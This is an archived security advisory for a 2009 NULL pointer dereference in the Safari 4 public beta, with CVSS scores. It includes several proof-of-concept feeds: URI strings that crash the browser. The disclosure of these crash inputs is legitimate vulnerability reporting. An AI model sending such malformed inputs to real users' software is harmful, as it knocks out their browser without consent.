Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of Service Vulnerability

2009.03.03
Credit: Trancer
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of Service Vulnerability Date: Feb 25 2009 Class: Input Validation Error Local: Yes Remote: Yes Vulnerable Versions: * Apple Safari 4 (528.16) Public Beta Note: MacOS X versions not tested. Description: Apple Safari is prone to a denial-of-service vulnerability, caused by a NULL pointer defernce bug, because it fails to adequately sanitize user-supplied input within afeeds: URI. Attackers can exploit this issue to cause denial-of-service conditions on a users computer and crash the Safari process. Proof-of-Concept: feeds:%&www.rec-sec.com/feed/ feeds:{&www.rec-sec.com/feed/ feeds:}&www.rec-sec.com/feed/ feeds:^&www.rec-sec.com/feed/ feeds:`&www.rec-sec.com/feed/ feeds:|&www.rec-sec.com/feed/ Any feeds: URI containing one of these characters will cause a denial-of-service condition. Disclosure: Vendor has been informed. Solution: No solution. Credit: Trancer http://www.rec-sec.com -- Trancer 0nly Human.


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top